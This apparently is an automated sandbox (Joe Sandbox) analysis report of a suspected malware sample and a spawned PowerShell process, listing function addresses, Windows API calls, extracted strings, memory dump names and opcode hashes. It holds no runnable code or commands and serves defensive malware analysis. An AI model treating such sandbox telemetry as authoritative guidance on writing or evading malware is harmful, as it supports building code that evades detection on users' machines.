GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,?,005B1D06,?,?,?,0064F751,0000000A,00000002,00000001,00000031,00000000,0064F97F), ref: 005B1D96

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

user32.dll, xrefs: 005B1D91
ShutdownBlockReasonDestroy, xrefs: 005B1D8C

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 2d118afa1acb73877a63b6e6f87aa342629fa191858680dbd20951d3b7f32472
Instruction ID: cfd2a97203f557c8c57e6b3927d22065e7e78818251efbac2aa6542449ac9364
Opcode Fuzzy Hash: 2d118afa1acb73877a63b6e6f87aa342629fa191858680dbd20951d3b7f32472
Instruction Fuzzy Hash: 23D0A763351F222E179022F51EE1CEB068C9D242963440136FA00D2100D544DC4012AC

Function 00651170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0065C502,00000001,00000000,0065C528), ref: 0065117A

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

DisableProcessWindowsGhosting, xrefs: 00651170
user32.dll, xrefs: 00651175

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 03da989b8c341b0011cf5f2f54663901e78246e972d77ad5a530f748acd43f17
Instruction ID: 5f29c36bf5ef2573be6bf32c1ba0481e8d956120234237a4d8ff77b8e3f328bd
Opcode Fuzzy Hash: 03da989b8c341b0011cf5f2f54663901e78246e972d77ad5a530f748acd43f17
Instruction Fuzzy Hash: C3B01265281F00310B7033F30F43FDB044A0C93B4BF0245D97F00D9092CD58C0490039

Analysis Process: powershell.exePID: 2032, Parent PID: 6540COMMON

Executed Functions

Function 04A0B470 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751f04922965391e0b2b7dec3fe4515881bf1686fecd8ba022893f242b335630
Instruction ID: f46092caad06ad1eb0117a3fc38c8cc192e2bd66354b9e2b0ade548e737ab0b0
Opcode Fuzzy Hash: 751f04922965391e0b2b7dec3fe4515881bf1686fecd8ba022893f242b335630
Instruction Fuzzy Hash: EC91ADB5B007199BEF19EFB494105AEBBB2EF84700B00C969D512AF394DF34AE059BC5

Function 04A0B490 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636333af7a975808825008a99eb19f7e15efa6c6a57f2b26f17d4f3de01c070a
Instruction ID: ea9100fd3a407081bafe8795b3d1e22349800d045fe8d6029bdb19f133ba45d6
Opcode Fuzzy Hash: 636333af7a975808825008a99eb19f7e15efa6c6a57f2b26f17d4f3de01c070a
Instruction Fuzzy Hash: 06917CB5B007199BEF19EBB494015AFB7B2EF88700B00C92DD516AB394DF34AE059BC5

Function 077E2308 Relevance: 13.2, Strings: 10, Instructions: 660COMMON

Download Yara Rule

Strings

rHl, xrefs: 077E254F
JIl, xrefs: 077E25EA
JIl, xrefs: 077E23D1
JIl, xrefs: 077E25F6
JIl, xrefs: 077E23C5
4'tq, xrefs: 077E260D
rHl, xrefs: 077E2559
JIl, xrefs: 077E237F
JIl, xrefs: 077E259E
4'tq, xrefs: 077E2619

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$JIl$JIl$JIl$JIl$JIl$JIl$rHl$rHl
API String ID: 0-3516900390
Opcode ID: eae477aa93d82da181af9328612b89d8af74d85ce81e0f1cacf0beefc72abfb7
Instruction ID: 7cbd5ed69e410211637f0d00d9adc9df25bb4939829a20444bfe376d2024b4af
Opcode Fuzzy Hash: eae477aa93d82da181af9328612b89d8af74d85ce81e0f1cacf0beefc72abfb7
Instruction Fuzzy Hash: 78223AB1704609DFCB15DB68C441AAABBEDBF8D290F1484BAD905DF252DB31DC41CBA1

Function 04A0E5B9 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

JIl, xrefs: 04A0E6EA

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: JIl
API String ID: 0-871223391
Opcode ID: 61667eeae020a1d3c893fb9822969b45479e206cb9244c49b01bee5171710535
Instruction ID: d07135995ef7226b0c7880a18534df74bf88cf12821ca1ec124331021ed64b00
Opcode Fuzzy Hash: 61667eeae020a1d3c893fb9822969b45479e206cb9244c49b01bee5171710535
Instruction Fuzzy Hash: CD41ADB4A002099FCB24DFB9E454A9EBBF1FF49304F108969D416AB390DB30BD45CB91

Function 04A06FE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

(xq, xrefs: 04A07105

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: (xq
API String ID: 0-3100309293
Opcode ID: 87b7ec988303e6dc8742ab9817a194eec03abeeca941cb1b74339c84a12a2dfd
Instruction ID: 5915e707f3e9dc782eee4371c58df85ae1f05c97f5e672334eed149838aa01f9
Opcode Fuzzy Hash: 87b7ec988303e6dc8742ab9817a194eec03abeeca941cb1b74339c84a12a2dfd
Instruction Fuzzy Hash: 45415E38B042048FDB15DFA8D458AAEBBF2EF8D714F148499D406AB394DB35EC01CB61

Function 04A0E610 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

JIl, xrefs: 04A0E6EA

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: JIl
API String ID: 0-871223391
Opcode ID: 91f07404001c3306810080f6f16b64e7ddb93e210fb2ec0fe5942d15bdc4cf81
Instruction ID: 0b496c4fa2f49bfbdd5ba5b28b411b8a3faa8770a4ead172b468581ec0451c3b
Opcode Fuzzy Hash: 91f07404001c3306810080f6f16b64e7ddb93e210fb2ec0fe5942d15bdc4cf81
Instruction Fuzzy Hash: EB41CBB4A002059FCB15DF79E494A9EBBF1FF4D304F048969E416AB391DB30AD45CBA1

Function 04A0E640 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

JIl, xrefs: 04A0E6EA

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: JIl
API String ID: 0-871223391
Opcode ID: ff5d7d32d6e89b1ce12605c482ed3eaa370bf300365398c8dc1d71a1861c9cda
Instruction ID: 31eca910f63f256576ffa0dbe6932d517ab9c1c84afb77b18725190f8c3b18eb
Opcode Fuzzy Hash: ff5d7d32d6e89b1ce12605c482ed3eaa370bf300365398c8dc1d71a1861c9cda
Instruction Fuzzy Hash: 92314DB4A006059FCB14DF79E594A9EBBF2FF4C304F108929D416AB394DB30AD45CBA1

Function 04A0AF98 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&tq, xrefs: 04A0AFBA

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: (&tq
API String ID: 0-341024711
Opcode ID: 7e4a77866e9a38c20413d4e0a449b0b214bb189d27ed395f9fa1bfa4dccd30cc
Instruction ID: 2601295ba73d153e9466dd2b8145961baf879e030690a62c83d392796f757102
Opcode Fuzzy Hash: 7e4a77866e9a38c20413d4e0a449b0b214bb189d27ed395f9fa1bfa4dccd30cc
Instruction Fuzzy Hash: 2221B271A043588FDB14DFAEE44079FBBF5EF88320F14842AD419E7340CB75A9058BA5

Function 04A029F0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7793a03154a3503120b0733e0643e3b18135fdc22ff56fcd1995fb1523dc8a
Instruction ID: 6034d2b7ed0b641cf07ea2149f6ea740cb01a8066db23b6a2138cdc3797acc15
Opcode Fuzzy Hash: 5b7793a03154a3503120b0733e0643e3b18135fdc22ff56fcd1995fb1523dc8a
Instruction Fuzzy Hash: 9F917075A00609CFCB15CF99C498AAEFBB1FF48310B248599D915AB3A5C735FC51CBA0

Function 04A07740 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bbb8008a16259cef204ca213204137508e043e1aea558aaae73e6df7d42826
Instruction ID: c906604c2d4cdcbb36521fb54b02bacf0c6a9ea73d1457ea3d1817c7c7cc9fe5
Opcode Fuzzy Hash: 38bbb8008a16259cef204ca213204137508e043e1aea558aaae73e6df7d42826
Instruction Fuzzy Hash: A251C1383042159FD714DB79E854A2A7BEAFFC9350B148469E509CB391EB31FC42CBA0

Function 04A0BAC0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd62e7b2c30658b02cf74c9502591c7e5669c80b5deed049210617648462c39f
Instruction ID: 4278c81daf9cdbd652db9d7d48fbb5469a07b0f0dc41cd258f635091720e2236
Opcode Fuzzy Hash: dd62e7b2c30658b02cf74c9502591c7e5669c80b5deed049210617648462c39f
Instruction Fuzzy Hash: AE61F8B5E002489FDB14DFA9D584A9DFBF1EF88310F15C12AE819AB354EB34AD45CB60

Function 04A0BAB0 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b6b0c8a9a11f916834c5371199ffd0e8b45cd1d6630c39d16605df62feb9df4
Instruction ID: 8c2979dfc6b30dad657146f706f05ab8b2266ef801494c96f076b7b5db49ef70
Opcode Fuzzy Hash: 6b6b0c8a9a11f916834c5371199ffd0e8b45cd1d6630c39d16605df62feb9df4
Instruction Fuzzy Hash: 3F51F775E002489FCB14DFA9D584A9DFBF1EF88310F18C169E819EB254EB34A945CB61

Function 04A0E419 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dcf7d8a7e28b46a8bc821b0d86154548d692a75a3636dc48bd3e8f47ec1160f
Instruction ID: 26ee4354b5668aa394bcc90c091f063b0e14fa5095b53534056d8195fb975de8
Opcode Fuzzy Hash: 7dcf7d8a7e28b46a8bc821b0d86154548d692a75a3636dc48bd3e8f47ec1160f
Instruction Fuzzy Hash: 1A516BB47002098FDB10DF6CD49496EBBE6EF89354B14C869E459CF3A6EB31EC058B91

Function 04A0E428 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe330016478d1a0af14fa58abe3729a62f2ea17b2b7e2b6404c55083985a9b6
Instruction ID: d45b161b6182eff9f478fb4f6b9b2555e064a175338f348868f636d509927320
Opcode Fuzzy Hash: cbe330016478d1a0af14fa58abe3729a62f2ea17b2b7e2b6404c55083985a9b6
Instruction Fuzzy Hash: B74118B47002098FDB10DF6DD59492ABBE6EF8D354B14C868E459CF395EB31EC058B91

Function 077E3D9D Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25f6eb05edcecf7bfc0f08d83c6e9ae1dd722c08a73c5da6864c8743db45e796
Instruction ID: 1fe8f77570d08c84860e3ec14f816a08ad859c9f4d612c9b39f5fde7922e1281
Opcode Fuzzy Hash: 25f6eb05edcecf7bfc0f08d83c6e9ae1dd722c08a73c5da6864c8743db45e796
Instruction Fuzzy Hash: A43148F1B001519BCB2197788811EBBBBA79FC9394F1484AAD602AF355DA35DD02C7A2

Function 04A06FB0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d948b204c1543c83c1bfaafa8c815c79da224dada0575391ffbb47bf0d00b521
Instruction ID: 280d4847866cadb616cfdca6e0f87df278b6906e7e0efa8c35b358d4d6e7c7ff
Opcode Fuzzy Hash: d948b204c1543c83c1bfaafa8c815c79da224dada0575391ffbb47bf0d00b521
Instruction Fuzzy Hash: 2E4180387042548FDB05CFA8D498AAEBFF1AF8E314F1480A9D445AB396CB31EC41CB61

Function 04A02B00 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e763d96544a849b0d53e4425ed17b52af20ddd9da7e5e389400db2d6861b78b
Instruction ID: d56f8ea4bef48d778e9e1979df52ee4ce1847346b7737e88a52319cfb5081db8
Opcode Fuzzy Hash: 4e763d96544a849b0d53e4425ed17b52af20ddd9da7e5e389400db2d6861b78b
Instruction Fuzzy Hash: DF414BB5A006058FCB05CF59C498AAEFBB1FF48310B158599D815AB3A4C732FC91CFA0

Function 04A0C388 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8c1e3bc412c054f501fde01bb0d22134791dc6d0517cac4e6b294d29e4c47b
Instruction ID: cb8ee981e30064f9d27388a3f9d5c17df4eefe816fea4fde428eef7b09e91bbc
Opcode Fuzzy Hash: 6e8c1e3bc412c054f501fde01bb0d22134791dc6d0517cac4e6b294d29e4c47b
Instruction Fuzzy Hash: E6318D753007019FC709DB79E854BAEB792EBC8354F048A29E50ACB394EB71A855CB92

Function 04A0AE60 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0651caeab18919f8e4a576bdca9096ecb3c70d50bce8878181e2875a2f746123
Instruction ID: c8cd98ab8877ea120e9bbb7ba5c946f140900ec1d96c9f273e8eec0618e062c3
Opcode Fuzzy Hash: 0651caeab18919f8e4a576bdca9096ecb3c70d50bce8878181e2875a2f746123
Instruction Fuzzy Hash: 353160B0A003099BDB04DFB9D5946AEBBF6AF99350F14C029E415EB394EB34AC418B91

Function 04A0DFC0 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfbbb1b9a2fac5dbe356d62c2ff6ce9d168d2499947d0e261ef8fbcd84b33cd4
Instruction ID: adba33d0c6f32d395064eca718bf341a5243b62028f01b2b078726b3a246d07c
Opcode Fuzzy Hash: bfbbb1b9a2fac5dbe356d62c2ff6ce9d168d2499947d0e261ef8fbcd84b33cd4
Instruction Fuzzy Hash: B8313E75A006048FDB14DFA9E454A9EBBF2EF8D314F148569D406EB390DF75AC81CB90

Function 04A0AD28 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 761b49513a4e7c96f6d6aedf5a3a4f7d70778c84d8522592f7b10edb1066f5f7
Instruction ID: b827c4c72795c0e095aa0ba9de518f1aecee12b199acfa5f95aefbbb1d6ccf4c
Opcode Fuzzy Hash: 761b49513a4e7c96f6d6aedf5a3a4f7d70778c84d8522592f7b10edb1066f5f7
Instruction Fuzzy Hash: 433186B8E003059FDB04DBB4D454AAEBBB6EF88300F15C469D524AF3A5DB74AD018F61

Function 04A0AE70 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f4ef0e08e0f04083d2a848814d10dac6b6ec3f851848edf335e4266989a3b1
Instruction ID: 1a8c40fc36986f846314c01e69ed3ed45e5901e1afaf6afbd77dc3ab8cc5aa09
Opcode Fuzzy Hash: c0f4ef0e08e0f04083d2a848814d10dac6b6ec3f851848edf335e4266989a3b1
Instruction Fuzzy Hash: F8313EB0A003099FDB04DFA9D5947AEBBF6AF88350F14C029E405EB394EB749C418F51

Function 04A093F0 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9120f5d19b9107f5b467b71afe8f43a8d3fc10aa15a788c7d01e20bb9834058f
Instruction ID: 825d0e686c5d43eb5da8246f2444d33c7ed2e7cd446cdea97e2b5aa70b0ed7c7
Opcode Fuzzy Hash: 9120f5d19b9107f5b467b71afe8f43a8d3fc10aa15a788c7d01e20bb9834058f
Instruction Fuzzy Hash: 9E319AB59017449FDB60CF6AD0883CBFBF6EF88320F28C41AD45D97295D775A4818B61

Function 04A0AD38 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf3671e3bdc12c0b12164077ebd9f984df2f4d87dbb856001bca71c719d74314
Instruction ID: 2007602e02c554b59dc422f1db21e17d6e9b6ebfc366505791a216e8a6ce1175
Opcode Fuzzy Hash: cf3671e3bdc12c0b12164077ebd9f984df2f4d87dbb856001bca71c719d74314
Instruction Fuzzy Hash: FC3132B8E002099FDB04DFA4D454AAEB7B6EFC8300F11C469D525AF3A4DB35AD118F51

Function 04A0DFD0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f384edcd008143fad00e63c9e974882080d497e3b08f35589a31f6278d29a2d
Instruction ID: 2db85d0e9f5f2fe383de44d00e7af289a46dc35668ffe6428a8c47dd1b484290
Opcode Fuzzy Hash: 2f384edcd008143fad00e63c9e974882080d497e3b08f35589a31f6278d29a2d
Instruction Fuzzy Hash: DB311C74A006048FCB14DF69E458A9EBBF2AF8D314F148569D406EB3A4DF75AC85CB90

Function 0316F3D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703694674.000000000316D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0316D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_316d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ba64e240640398f29518c2b0bfcc802fc6c17493a68eb020837bad1ad42e5b
Instruction ID: d91f492ac1a04f77142c72e3bdd2b4277b27959a21f138184f79f64163ca43a5
Opcode Fuzzy Hash: e7ba64e240640398f29518c2b0bfcc802fc6c17493a68eb020837bad1ad42e5b
Instruction Fuzzy Hash: 3B21F476508200EFCB05CF94E9C0B26BBA5FB8C314F24C5ADE9094B656C736D467CBA1

Function 0316F02C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703694674.000000000316D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0316D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_316d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5ec657c39e2a4eb95dbef7810beab55a9200f6ce4fb6a6e012bc25057f1bf37
Instruction ID: ea56b6961227ee15aa4a552283cca163d2b10dcca37aebd62fb4530e2cad78c5
Opcode Fuzzy Hash: f5ec657c39e2a4eb95dbef7810beab55a9200f6ce4fb6a6e012bc25057f1bf37
Instruction Fuzzy Hash: 94213771504640DFCB14CF54E9C0B26BBA6FB8C314F24C5ADD9094B246C336D457CA61

Function 04A09400 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9586e35c9050be747455f873f3292cc3343262d3c7a4884fa03ea572324c0914
Instruction ID: e330e2e23712a58ec3616138978e82cfe2c850b8bc8abf4d908fc6666a50d35d
Opcode Fuzzy Hash: 9586e35c9050be747455f873f3292cc3343262d3c7a4884fa03ea572324c0914
Instruction Fuzzy Hash: F7218DB09057448EDB60CF6AD48838AFBF6EF88310F28C41AD45D97285D77464458B51

Function 04A0767C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fdfe06660820c5a131ceb040d6256d4a83c54b693108c349763bac7ba3ec99f
Instruction ID: 734f83b1da78365721e46d19f492290ae588cde74071733946ebf2f78556e122
Opcode Fuzzy Hash: 5fdfe06660820c5a131ceb040d6256d4a83c54b693108c349763bac7ba3ec99f
Instruction Fuzzy Hash: D911E97A7001288FCB04DBA9E844AED77F6EBCC355B0480A5E509DB354DB35ED158BA0

Function 04A0DCD9 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8640871ce93db38a14e9268d96a20fb703db6f27e27e436a08ae2a6eeae4dc60
Instruction ID: 314b8874072de4944f673adb63bbb38300e394698a1259d66314534ce50af128
Opcode Fuzzy Hash: 8640871ce93db38a14e9268d96a20fb703db6f27e27e436a08ae2a6eeae4dc60
Instruction Fuzzy Hash: 46112937B045489FCF158BB4F4184FDBBB6EB89360B18C86AD406DB295EA316C51CBE0

Function 0316F3D3 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703694674.000000000316D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0316D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_316d000_powershell.jbxd
